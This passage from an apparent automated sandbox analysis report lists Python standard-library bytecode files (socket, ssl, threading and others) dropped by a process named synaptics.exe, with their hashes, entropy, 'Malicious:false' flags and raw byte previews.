exist, are appended to

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\__pycache__\socket.cpython-310.pyc.30287104

              Download File
              Process:C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exe
              File Type:data
              Category:dropped
              Size (bytes):28986
              Entropy (8bit):5.5357093789445075
              Encrypted:false
              SSDEEP:
              MD5:4B0F84CA844B51C2B7B859C381D4C8D5
              SHA1:8F1AFE174E907C2DDB72890E47A98E2EC287548A
              SHA-256:427A61C65EBCB82CB8985EA4230E8CC730DF186FF1F53BA212F5287FE2B7F39A
              SHA-512:67761BE2F747C3E8B6896A9ACD42EDF52DC58E732066A8B3DD1A77A6445BDBF70D722B96F69D844BD085999832F7CE26D3EDE6E562411F5F710652B954B8F632
              Malicious:false
              Reputation:unknown
              Preview:o.......:.-dq........................@...sT...d.Z.d.d.l.Z.d.d.l.T.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.m.Z.m.Z...z.d.d.l.Z.W.n...e.y3......d.Z.Y.n.w.e.e.d.d...Z.e.e.d.d...Z.e.e.d.d...Z.g.d...Z.e...e...e.......e...d.e.d.d.......e...d.e.d.d.......e...d.e.d.d.......e...d.e.d.d.......d.Z.d.Z.d.d...Z.e.j.......d.....r.i.Z.d.e.d.<.d.e.d.<.d.e.d.<.d.e.d <.d!e.d"<.d#e.d$<.d%e.d&<.d'e.d(<.d)e.d*<.d+e.d,<.d-e.d.<.d/e.d0<.d1e.d2<.d3e.d4<.d5e.d6<.d7e.d8<.d9e.d:<.d;e.d<<.d=e.d><.d?e.d@<.dAe.dB<.dCe.dD<.dEe.dF<.dGe.dH<.dIe.dJ<.dKe.dL<.dMe.dN<.dOe.dP<.dQe.dR<.dSe.dT<.dUe.dV<.dWe.dX<.dYe.dZ<.d[e.d\<.d]e.d^<.d_e.d`<.dae.db<.dce.dd<.dee.df<.dge.dh<.die.dj<.dke.dl<.dme.dn<.doe.dp<.dqe.dr<.dse.dt<.due.dv<.dwe.dx<.dye.dz<.d{e.d|<.d}e.d~<.d.e.d.<.d.e.d.<.d.e.d.<.d.e.d.<.d.e.d.<.d.e.d.<.d.e.d.<.d.e.d.<.d.e.d.<.d.e.d.<.d.e.d.<.d.e.d.<.d.e.d.<.d.e.d.<.d.e.d.<.d.e.d.<.d.e.d.<.d.e.d.<.d.e.d.<.d.e.d.<.d.e.d.<.d.e.d.<.d.e.d.<.d.e.d.<.d.e.d.<.d.e.d.<.d.e.d.<.d.e.d.<.d.e.d.<.d.e.d.<.d.e.d.<.d.e.d.<.d.e.d.<.d.e.d.<.

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\__pycache__\sre_compile.cpython-310.pyc.21664112

              Download File
              Process:C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exe
              File Type:data
              Category:dropped
              Size (bytes):15217
              Entropy (8bit):5.6099063260928625
              Encrypted:false
              SSDEEP:
              MD5:31C749719D45DE9C7FC0A1BFD33E04D0
              SHA1:2F01DEA5EA28A854FCD7C0639CBDFCD525D98A1D
              SHA-256:F34C43A4AD611C9582E01F3D1B4A66E9C3CECE9B76A746C50386CDD1560E111C
              SHA-512:2B1ADA39CF1A566ECD5B1EB8015A1375A2C85D1F839157987AFFC724C14336E6ECB54370F63B842BD25EA7D67AFA360C5EAE47BACC5531231DF837CAFFDA143B
              Malicious:false
              Reputation:unknown
              Preview:o.......:.-dmp.......................@...s$...d.Z.d.d.l.Z.d.d.l.Z.d.d.l.T.e.j.e.k.s.J.d.....e.e.h.Z.e.e.e.h.Z.e.e.h.Z.e.e.h.Z.e.e.e.h.B.Z.d.Z.d.d...e.D...Z.e.j.f.d.d...Z.d.d...Z.d.d...Z.d-d.d...Z.e.j.d...Z.d.e.>.d...Z.d.Z.e.e f.d.d...Z!d.d...Z"d.d...Z#d.d...Z$d.d...Z%d.d...Z&d.d ..Z'd!d"..Z(d#d$..Z)d%d&..Z*d'd(..Z+d)d*..Z,d.d+d,..Z-d.S.)/z.Internal support module for sre.....N)...*z.SRE module mismatch).)..i...i1...)..s...i....).....i....).iE...i....i....).i....i....).i....i....).i....i....).i....i....).i....i....).i....i....).i....i....).i....i....).i....i....).i....i....).i2...i....).i4...i....).i>...i....).iA...i....).iB...i....i....).iJ...i....).ic...i....).i....iK...).ia...i....).i....i....c........................s....i.|.].}.|.D.].....t...f.d.d...|.D.......q.q.S.).c....................3...s......|.].}...|.k.r.|.V...q.d.S...N..)....0..j....ir.....9C:\Users\user\AppData\Local\qkxB9Wn8nG\lib\sre_compile.py..<genexpr>N...s........z.<dictcomp>.<genexpr>)...tuple).r......tr....r....r

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\__pycache__\sre_constants.cpython-310.pyc.23933408

              Download File
              Process:C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exe
              File Type:data
              Category:dropped
              Size (bytes):6380
              Entropy (8bit):5.77886015016553
              Encrypted:false
              SSDEEP:
              MD5:D24CCD2EAD47927C8CB20ACB41BCD4D2
              SHA1:6A16F9D125F55FF92DA849DE010CF0E70737228A
              SHA-256:97B0FD7F6905A10F73E2045355E0CBACFFD4C831E2211BE6BCCFDE128D83DF0B
              SHA-512:C75A9FE3992CA236A23ADEA1C102D3A4220C0F773FEEA9E8B077DFAB60ABFDD9988C594C8EFC5D5917388CE7B176434A5AA7C3BFA5E775CC912FB9ABA9BFE74D
              Malicious:false
              Reputation:unknown
              Preview:o.......:.-d.........................@...s^...d.Z.d.Z.d.d.l.m.Z.m.Z...G.d.d...d.e...Z.G.d.d...d.e...Z.e.e.d...Z.d.d...Z.e.d...Z.e.d.d...=.e.d...Z.e.d...Z.e.e.e.e.i.Z.e.e.e.e.i.Z.e.e.e.e.i.Z.e.e.e.e.i.Z.e.e.e.e i.Z!e.e"e.e#i.Z$e%e%e&e&e'e'e(e(e)e*e+e,e-e-e.e.i.Z/e%e0e&e1e'e2e(e3e)e4e+e5e-e6e.e7i.Z8d.Z9d.Z:d.Z;d.Z<d.Z=d.Z>d.Z?d.Z@d.ZAd.ZBd.ZCd.ZDeEd.k...r-d.d...ZFeGd.d....zZHeH.Id.....eH.Id.e.......eFeHe.d ....eFeHe.d!....eFeHe.d!....eH.Id"e9......eH.Id#e:......eH.Id$e;......eH.Id%e<......eH.Id&e=......eH.Id'e>......eH.Id(e?......eH.Id)e@......eH.Id*eA......eH.Id+eB......eH.Id,eC......eH.Id-eD......W.d.........n.1...s"w.......Y...eJd.....d.S.d.S.)/z.Internal support module for srei..3......)...MAXREPEAT..MAXGROUPSc........................s&...e.Z.d.Z.d.Z.d.Z.d...f.d.d...Z.....Z.S.)...errorai...Exception raised for invalid regular expressions... Attributes:.. msg: The unformatted error message. pattern: The regular expression pattern. pos: The index in the pattern

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\__pycache__\sre_parse.cpython-310.pyc.21667248

              Download File
              Process:C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exe
              File Type:data
              Category:dropped
              Size (bytes):21778
              Entropy (8bit):5.596159190327099
              Encrypted:false
              SSDEEP:
              MD5:7B6D72B8A44B4C902149C471D63A92E4
              SHA1:3970FC2E7B1F628C9ED5BBEC8A47F37CE94B8034
              SHA-256:3323A568D46DF8467FB157CFCE63A21CDB9CE4D22EDA3A3912C2B156C03CA221
              SHA-512:6196588818F700CBB4C76091027E99C6224B5CEEAD41E3680A38049884D99D1B3A307AA9413B82D81A173B952787C927DE9A6247CB509C71005579510072E344
              Malicious:false
              Reputation:unknown
              Preview:o.......:.-d.........................@...s....d.Z.d.d.l.T.d.Z.d.Z.e.d...Z.e.d...Z.e.d...Z.e.d...Z.e.d...Z.e.e.e.h...Z.e.e.e.e.e.e.e.h...Z.e.e.d...f.e.e.d...f.e.e.d...f.e.e.d...f.e.e.d...f.e.e.d...f.e.e.d...f.e.e.d...f.d...Z.e.e.f.e.e.f.e.e.f.e.e.e.f.g.f.e.e.e.f.g.f.e.e.e.f.g.f.e.e.e.f.g.f.e.e.e.f.g.f.e.e.e.f.g.f.e.e f.d...Z!e"e#e$e%e&e'e(e)d...Z*e'e#B.e)B.Z+e,e(B.Z-G.d.d...d.e...Z/G.d.d...d...Z0G.d.d...d...Z1G.d.d...d...Z2d.d...Z3d.d ..Z4d!d"..Z5d#d$..Z6d3d&d'..Z7d(d)..Z8d*d+..Z9d4d-d...Z:d/d0..Z;d1d2..Z<d,S.)5z.Internal support module for sre.....)...*z..\[{()*+?^$|z.*+?{Z.0123456789Z.01234567Z.0123456789abcdefABCDEFZ4abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZz. ............................\).z.\a..\bz.\fz.\nz.\rz.\tz.\vz.\\).z.\Ar....z.\Bz.\dz.\Dz.\sz.\Sz.\wz.\Wz.\Z)...i..L..m..s..x..a..t..uc....................@...s....e.Z.d.Z.d.S.)...VerboseN)...__name__..__module__..__qualname__..r....r.....7C:\Users\user\AppData\Local\qkxB9Wn8nG\lib\sre_parse.pyr....G...s........r....c.

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\__pycache__\ssl.cpython-310.pyc.55823128

              Download File
              Process:C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exe
              File Type:data
              Category:dropped
              Size (bytes):44843
              Entropy (8bit):5.571380988398533
              Encrypted:false
              SSDEEP:
              MD5:94DF6931B7083DCBB9088AEDE536B892
              SHA1:17B88DDE5AD404E29153A482B15F0AA19A3883E7
              SHA-256:68B0668CBDE3E4B1926CACA7EBBBA4FB8AA90542B7C4E2374542D0F58F9E236A
              SHA-512:0111C62E60AFE1333066CFE1BBC1A2F5BE58CABE9113029CFFEA3B2DDF219EA3CE18869FE811808FDEDB888736619DF963774F3BB03E78A5B9F126C8AA93DA68
              Malicious:false
              Reputation:unknown
              Preview:o.......:.-d.........................@...s....d.Z.d.d.l.Z.d.d.l.Z.d.d.l.m.Z...d.d.l.m.Z.m.Z.m.Z...d.d.l.Z.d.d.l.m.Z.m.Z.m.Z...d.d.l.m.Z.m.Z.m.Z...d.d.l.m.Z.m.Z.m.Z.m.Z.m.Z.m.Z.m.Z...d.d.l.m.Z.m.Z...d.d.l.m.Z.m.Z.m Z m!Z!..z.d.d.l.m"Z"..W.n...e#yi......Y.n.w.d.d.l.m$Z$m%Z%m&Z&m'Z'm(Z(m)Z)m*Z*m+Z+m,Z,m-Z-..d.d.l.m.Z.m/Z/..e.j0d.e1d.d...e.d.....e.j0d.e1d.d...e.d.....e.j0d.e1d.d...e.d.....e.j0d.e1d.d...e.d.....e.j0d.e1d.d...e.d.....e.j0d.e1d.d...e.d.....e2j3..Z4e2_4d.d...e2j5.6..D...Z7e8e2d.d...Z9G.d.d...d.e...Z:G.d d!..d!e...Z;G.d"d#..d#e...Z<G.d$d%..d%e...Z=e.j>d&k...r.d.d'l.m?Z?m@Z@..d.d(lAmAZAmBZBmCZC..d.d)lAmDZDmEZEmFZF..d.d.lAZGd.d.lHZHd.d.lIZId.d.lJZJeKZLd*g.ZMeNe.d+..ZOe.ZPe.ZQd,d-..ZRd.d/..ZSd0d1..ZTd2d3..ZUe.d4d5..ZVd6d7..ZWG.d8d9..d9e.d9d:....ZXG.d;d<..d<eXe...ZYG.d=d>..d>e...ZZeYj[f.d.d.d.d?..d@dA..Z\d[e]dBeYj[d.d.d.d.d.dC..dDdE..Z^e\Z_e^Z`G.dFdG..dG..ZadHdI..ZbG.dJdK..dKeA..ZceceZ_deaeZ_ed.d.dBe]e3d.dLdLd.f.dMdN..ZfdOdP..ZgdQZhdRZidSdT..ZjdUdV..Zkeld.eFf.dWdX..ZmdYdZ..Znd.S.)\

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\__pycache__\stat.cpython-310.pyc.21630760

              Download File
              Process:C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exe
              File Type:data
              Category:dropped
              Size (bytes):4296
              Entropy (8bit):5.54812807919169
              Encrypted:false
              SSDEEP:
              MD5:B420FD6B45145E5578D7DE84C1254106
              SHA1:E8728BA0B7B4E66FBF1AFDFF4FBADD32F8DE3E3E
              SHA-256:5A799964C0EA8DF090236EA241BF2C93438A55B3F65E82904A27630333CACFFB
              SHA-512:FC56342B6BFE6F5A2F24780F40BF13F4EA0EA1E59806498D550A694ACFB321626DFB06A6629CC05F1E3DDAFE34D1EE48C8FBA4E4AC2B5B2BCD02F50929DF5C16
              Malicious:false
              Reputation:unknown
              Preview:o.......:.-d0........................@...sJ...d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.d...Z.d.d...Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d d!..Z.d"d#..Z.d$d%..Z.d&d'..Z.d(d)..Z d*Z!d+Z"e"Z#d,Z$d-Z%d.Z&d/Z'd0Z(d-Z)d.Z*d/Z+d1Z,d2Z-d3Z.d.Z/d.Z0d.Z1d.Z2d.Z3d.Z4d.Z5d.Z6d.Z7d3Z8d2Z9d.Z:d4Z;d5Z<d6Z=d7Z>d8Z?e.d9f.e.d:f.e.d;f.e.d<f.e.d=f.e.d>f.e.d?f.f.e)d@f.f.e*dAf.f.e+e!B.d:f.e!dBf.e+dCf.f.e-d@f.f.e.dAf.f.e/e"B.d:f.e"dBf.e/dCf.f.e1d@f.f.e2dAf.f.e3e$B.dDf.e$dEf.e3dCf.f.f.Z@dFdG..ZAd2ZBd*ZCd/ZDd3ZEd.ZFd.ZGd.ZHd.ZId.ZJd5ZKd.ZLd.ZMd+ZNd,ZOd.ZPd-ZQd4ZRz.d.dHlST.W.dIS...eT..y$......Y.dIS.w.)JzoConstants/functions for interpreting results of os.stat() and os.lstat()...Suggested usage: from stat import *...................................................c....................C........|.d.@.S.).zMReturn the portion of the file's mode that can be set by. os.chmod().. i..........moder....r.....2C:\Users\user\AppData\Local\qkxB9Wn8nG\lib\stat.py..S_IMO

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\__pycache__\string.cpython-310.pyc.30123368

              Download File
              Process:C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exe
              File Type:data
              Category:dropped
              Size (bytes):7125
              Entropy (8bit):5.387798545948747
              Encrypted:false
              SSDEEP:
              MD5:81D535AA898A5486EF0D4875D63A19DF
              SHA1:A59F297BB493133A6458CA7ECFFDA20669095F7E
              SHA-256:4B3DC2EECD16DD71A711C07172D82F89D9316108007F0D78A21A77728658BC4F
              SHA-512:4D6F7DED8AE20C19ADC5CC93055668A573D3E8399E3B412B298219100C0425CFC70B52FCF29A3F22E462C2191D26B8AC72136A8B06D256EAF9999CF53DE9D2D9
              Malicious:false
              Reputation:unknown
              Preview:o.......:.-d^*.......................@...s....d.Z.g.d...Z.d.d.l.Z.d.Z.d.Z.d.Z.e.e...Z.d.Z.e.d...d...Z.d.Z.d.Z.e.e...e...e...Z.d.d.d...Z.d.d.l.Z.d.d.l.m.Z...i.Z.G.d.d...d...Z.e.......G.d.d...d...Z.d.S.).an...A collection of string constants...Public module variables:..whitespace -- a string containing all ASCII whitespace.ascii_lowercase -- a string containing all ASCII lowercase letters.ascii_uppercase -- a string containing all ASCII uppercase letters.ascii_letters -- a string containing all ASCII letters.digits -- a string containing all ASCII decimal digits.hexdigits -- a string containing all ASCII hexadecimal digits.octdigits -- a string containing all ASCII octal digits.punctuation -- a string containing all ASCII punctuation characters.printable -- a string containing all ASCII characters considered printable..)...ascii_letters..ascii_lowercase..ascii_uppercase..capwords..digits..hexdigits..octdigits..printable..punctuation..whitespace..Formatter..Template.....Nz. .....Z.abcdefg

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\__pycache__\stringprep.cpython-310.pyc.56035888

              Download File
              Process:C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exe
              File Type:data
              Category:dropped
              Size (bytes):17098
              Entropy (8bit):5.696473336881574
              Encrypted:false
              SSDEEP:
              MD5:05F805C63E2B5E2EDF82E81ABD81EF99
              SHA1:7EE7CB1DA40DB5754D4E1179B4911EC51C23D937
              SHA-256:1D35DFB2D3B463A014BAFF894288AD1615831F525B00208850612F58477E16E3
              SHA-512:DEE9BBBAFA9694C67BD9E85EF6C565B678B9F6BCC44109EB321F1D83D7EC88D33A816FF32720010355E92C902B85A5B92AD524696ED286D0AABA74A06E599D61
              Malicious:false
              Reputation:unknown
              Preview:o.......:.-d.3.......................@...s....d.Z.d.d.l.m.Z...e.j.d.k.s.J...d.d...Z.e.g.d...e.e.d.d.........Z.d.d...Z.i.d.d...d.d...d.d...d.d...d.d...d.d...d.d...d.d...d.d...d.d...d.d ..d!d"..d#d$..d%d&..d'd(..d)d*..d+d,..i.d-d...d/d0..d1d2..d3d ..d4d5..d6d7..d8d9..d:d;..d<d=..d>d?..d@dA..dBdC..dDdE..dFdG..dHdI..dJdK..dLdM....i.dNdO..dPdQ..dRdS..dTdU..dVdW..dXdY..dZd[..d\dM..d]dO..d^dQ..d_dS..d`dU..dadW..dbdY..dcd[..ddde..dfdg....i.dhdi..djdk..dldm..dndo..dpdq..drds..dtde..dudg..dvdi..dwdk..dxdm..dydo..dzdq..d{ds..d|d}..d~d...d.d.....i.d.d...d.d...d.d...d.d...d.d...d.d}..d.d...d.d...d.d...d.d...d.d...d.d...d.d...d.d...d.d...d.d...d.d.....i.d.d...d.d...d.d...d.d...d.d...d.d...d.d...d.d...d.d...d.d...d.d...d.d...d.d...d.d...d.d...d.d...d.d.....i.d.d...d.d...d.d...d.d...d.d..d.d..d.d...d.d..d.d..d.d..d.d..d.d..d.d..d.d..d.d..d.d..d.d....i.d.d..d.d..d.d..d.d..d.d...d.d..d.d..d.d..d.d..d.d..d.d..d.d..d.d..d.d..d.d..d.d..d.d.....i.d.d...d.d...d.d...d.d...d.d...d.d.

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\__pycache__\struct.cpython-310.pyc.23876032

              Download File
              Process:C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exe
              File Type:data
              Category:dropped
              Size (bytes):330
              Entropy (8bit):5.126474043075054
              Encrypted:false
              SSDEEP:
              MD5:55A2A78219F1BF124116FB1B3F7DEC3B
              SHA1:D2FA1F52C0882DA48F6396D7E50B8BC9D534BA9D
              SHA-256:D02B6CDC89B4939C1C028B4C27BA82093993C54D6432E9E956995A85321D3093
              SHA-512:79DC510B1D9AEB0A0C339E00B5B5A27B872BA60BDEC6AA729204E9F61B55AD1CEC63DAB7286F1927DE6ABF969E4CE1DB7B8710C2B95D9CA23C9441D84424DBB9
              Malicious:false
              Reputation:unknown
              Preview:o.......:.-d.........................@...s,...g.d...Z.d.d.l.T.d.d.l.m.Z...d.d.l.m.Z...d.S.).).Z.calcsize..packZ.pack_into..unpackZ.unpack_fromZ.iter_unpack..Struct..error.....)...*)..._clearcache)...__doc__N)...__all__Z._structr....r......r....r.....4C:\Users\user\AppData\Local\qkxB9Wn8nG\lib\struct.py..<module>....s............

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\__pycache__\tempfile.cpython-310.pyc.29773088

              Download File
              Process:C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exe
              File Type:data
              Category:dropped
              Size (bytes):24087
              Entropy (8bit):5.282880279093561
              Encrypted:false
              SSDEEP:
              MD5:1BBEB8EAF2F1A6D21A3376455EE42814
              SHA1:7716EC652CB6EBC378810FF68E336809B5C246B3
              SHA-256:D98918D230FB9CCB16FF8E2BE02620F12742929E2950469CA903FA4777F20B61
              SHA-512:30B52C51651CD01837FC092A2EC8C664D79A8637665E0FA925AD060DB6D4F1E3F3AB2377440F401DA3C072C851D924A7D94A77AB71E3F7BC230374E63158E375
              Malicious:false
              Reputation:unknown
              Preview:o.......:.-dku.......................@...s....d.Z.g.d...Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.m.Z...d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.e.j.Z.e.j.e.j.B.e.j.B.Z.e.e.d...rJe.e.j.O.Z.e.Z e.e.d...rVe e.j!O.Z e.e.d...r_e.j"Z"n.d.Z"d.Z#e...Z$d.d...Z%d.d...Z&d.d...Z'G.d.d...d...Z(d.d...Z)d.d...Z*d.a+d.d...Z,d.d...Z-d.d...Z.d.d...Z/d.a0d.d...Z1d d!..Z2d"d#..Z3d?d%d&..Z4d@d'd(..Z5d)e#d.f.d*d+..Z6G.d,d-..d-..Z7G.d.d/..d/..Z8.....2dAd.d3..d4d5..Z9e.j:d6k.s.e.j;d7k.r.e9Z<n.e.e.d8..a=......dBd.d3..d9d:..Z<G.d;d<..d<..Z>G.d=d>..d>..Z?d.S.)Ca....Temporary files...This module provides generic, low- and high-level interfaces for.creating temporary files and directories. All of the interfaces.provided by this module can be used without fear of race conditions.except for 'mktemp'. 'mktemp' is subject to race conditions and.should not be used; it is provided for backward compatibility only...The default path names are returned as str. If you supply bytes as.input, all return values will b

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\__pycache__\threading.cpython-310.pyc.58781328

              Download File
              Process:C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exe
              File Type:data
              Category:dropped
              Size (bytes):44992
              Entropy (8bit):5.172983956437953
              Encrypted:false
              SSDEEP:
              MD5:2BE88CBC0458FF99E0813097BBE273EF
              SHA1:13656AAE9C2DC7F15763CD719449708720143BF8
              SHA-256:15FCFD31B72E24076DB1948FC23E1BB9A7AB54404EB3B38880189E675B719B80
              SHA-512:BDD84DAD93628F32332996ECAE28327D12255A8B8423B2C4B92923A28AE4D49A2D618ACB0CC187F554E25D3CBB35DF17F3C9FD4F9D0D092840A92258328D436A
              Malicious:false
              Reputation:unknown
              Preview:o.......:.-d.........................@...s6...d.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z.m.Z...z.d.d.l.m.Z...W.n...e.y=......d.d.l.m.Z...Y.n.w.g.d...Z.e.j.Z.e.j.Z.e.j.Z.e.j.Z.z.e.j.Z.d.Z.e...d.....W.n...e ye......d.Z.Y.n.w.e.j!Z"z.e.j#Z$W.n...e yy......d.Z$Y.n.w.e.j%Z%[.d.a&d.a'd.d...Z(d.d...Z)d.d...Z*d.d...Z+e.Z,d.d...Z#G.d.d...d...Z-e-Z.G.d.d...d...Z/G.d.d...d...Z0G.d.d...d.e0..Z1G.d.d...d...Z2G.d.d ..d ..Z3G.d!d"..d"e4..Z5e.d#..j6Z7d$d%..Z8e#..a9i.Z:i.Z;e...Z<e...a=e>..a?d&d'..Z@G.d(d)..d)..ZAz.d.d*l.mBaCmDZE..W.n#..e...y.......d.d+lFmGZH..d.d,l.mIZI..eId-d...ZDd/d-..ZEd0d1..aCY.n.w.tCZJd2d3..ZKG.d4d5..d5eA..ZLG.d6d7..d7eA..ZMG.d8d9..d9eA..ZNd:d;..ZOd<d=..ZPd>d?..ZQd@dA..ZRdBdC..ZSdDdE..ZTg.ZUd.aVdFdG..ZWd.dHl.mXZX..eM..aYdIdJ..ZZdKdL..Z[z.d.dMl.m\Z]..W.n...e...y.......d.dNl^m]Z]..Y.n.w.dOdP..Z_e`e.dQ....r.e.jae_dR....d.S.d.S.)Sz;Thread module emulating a subset of Java's threading model......N)...monotonic)...WeakSet)...islice..count)...deque)...get_ident

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\__pycache__\token.cpython-310.pyc.59353048

              Download File
              Process:C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exe
              File Type:data
              Category:dropped
              Size (bytes):2761
              Entropy (8bit):5.786519649220186
              Encrypted:false
              SSDEEP:
              MD5:D9C559FBF03942538BBEA654DD693107
              SHA1:A9690EBFF9E01C5817A07210797F811296F555FB
              SHA-256:2DF97EE0DDCBB8DA195F8D615180D9326B4C530D2F10E86515CB78AD854C642B
              SHA-512:3E495BDE6C09D2FA8F499AA92011E50DD8BDD692267FF426E2DE8A24BDBB30A49DD1EE74F6916F55FF6D0C8A02DE25A2ADFF6E9A2950AFD3C00EE736BE2A8021
              Malicious:false
              Reputation:unknown
              Preview:o.......:.-d.........................@...sF...d.Z.g.d...Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d Z d!Z!d"Z"d#Z#d$Z$d%Z%d&Z&d'Z'd(Z(d)Z)d*Z*d+Z+d,Z,d-Z-d.Z.d/Z/d0Z0d1Z1d2Z2d3Z3d4Z4d5Z5d6Z6d7Z7d8Z8d9Z9d:Z:d;Z;d<Z<d=Z=d>Z>d?Z?d@Z@dAZAdBZBdCZCdDdE..eD...E..D...ZFe..GeF.H......i.dFe...dGe...dHe*..dIe...dJe+..dKe...dLe...dMe...dNe%..dOe0..dPe(..dQe...dRe&..dSe...dTe...dUe'..dVe5..i.dWe...dXe6..dYe...dZe1..d[e2..d\e)..d]e...d^e7..d_e...d`e...dae#..dbe...dce...dde...dee...dfe...dge ....e$e/e3e4e.e.e"e-e.e.e,e.e!dh....ZIdidj..ZJdkdl..ZKdmdn..ZLdoS.)pz.Token constants.)...tok_name..ISTERMINAL..ISNONTERMINAL..ISEOF................................................................................................................................................................. ....!...."....#....$....%....&....'....(....)....*....+....,....-........./....0....1....2....3....4....5....6....7....8....9....:....;....<....

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\__pycache__\tokenize.cpython-310.pyc.59415112

              Download File
              Process:C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exe
              File Type:data
              Category:dropped
              Size (bytes):17217
              Entropy (8bit):5.780471919178651
              Encrypted:false
              SSDEEP:
              MD5:2F93005580EF01639F8538CDBB0C6F16
              SHA1:40988BE8C2567A79C8612865483FD1814F72EA0B
              SHA-256:4620164C3F570130BD01BFF72AF3BBC2DA513943028C6E913BA1F40C1CB31D47
              SHA-512:D8EAB3A4A2802AB52D8D39266932E879DACB34F4B6AC81E4F6B13483DE743E9A089A526E968A5357FAE1A96E562CD4FBB11D39DCEB52F0FB835ABFBF834D1A07
              Malicious:false
              Reputation:unknown
              Preview:o.......:.-d.g.......................@...sT...d.Z.d.Z.d.Z.d.d.l.m.Z...d.d.l.m.Z.m.Z...d.d.l.Z.d.d.l.Z.d.d.l.m.Z...d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.T.d.d.l.m.Z...e...d.e.j...Z.e...d.e.j...Z.d.d.l.Z.e.j.g.d.....Z.[.G.d.d...d.e...d.d.....Z.d.d...Z.d.d...Z.d.d...Z.d.Z.d.Z.e.e.d.e.......e.e.....Z.d.Z d.Z!d.Z"d.Z#d.Z$e.e!e"e#e$..Z%d.Z&e.d.d ..e.e&....Z'd!e&..Z(e.e'e(..Z)e.d"e)d#....Z*e.e*e)e%..Z+d$d%..Z,e.j-d&d'....Z.e.e,....Z/d(Z0d)Z1d*Z2d+Z3e.e/d,..e/d-....Z4e.e/d...e/d/....Z5e.e6e.j7e8e.d0d1......Z9e.d2e9..Z:e.e+e:e5e ..Z;e.e;..Z<e.e/d3..e.d4d.....e/d5..e.d6d.......Z=e.d7e.e4..Z>e.e.e>e+e:e=e ....Z?i.Z@e,..D.].ZAe0e@eAd4..<.e1e@eAd6..<.e2e@eAd,..<.e3e@eAd-..<...q.eB..ZCeB..ZDe,..D.]%ZEeEd6..eEd4..f.D.].ZFeC.GeF......qIeEd-..eEd,..f.D.].ZFeD.GeF......qZ..q?d8ZHG.d9d:..d:eI..ZJG.d;d<..d<eI..ZKG.d=d>..d>..ZLd?d@..ZMdAdB..ZNdCdD..ZOdEdF..Z.dGdH..ZPdIdJ..ZQdKdL..ZRdMdN..ZSeTdOk...r.eS....d.S.d.S.)Pao...Tokenization help for Python programs...tokenize(readline) is a generator that breaks a stream

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\__pycache__\traceback.cpython-310.pyc.58777968

              Download File
              Process:C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exe
              File Type:data
              Category:dropped
              Size (bytes):21731
              Entropy (8bit):5.2968153185432465
              Encrypted:false
              SSDEEP:
              MD5:4A11EC0FF717654D777126A9B5ACC5B4
              SHA1:008DA70565AACBFC4BEA576BD0876DA2766533F1
              SHA-256:C0D793E1CDFB32FDE0B8EEA21D7A572814934E5EF7E1AC32F5196AB3AF1CCAF5
              SHA-512:93E180B88E7CC307C17955FEB19AA616590C4B2B817D9C3368F22514A67A293DCF395C5D3DAD27D6ACC39F29D752FBB11D5167CF15303E8A44E86DDD5E1D2D3D
              Malicious:false
              Reputation:unknown
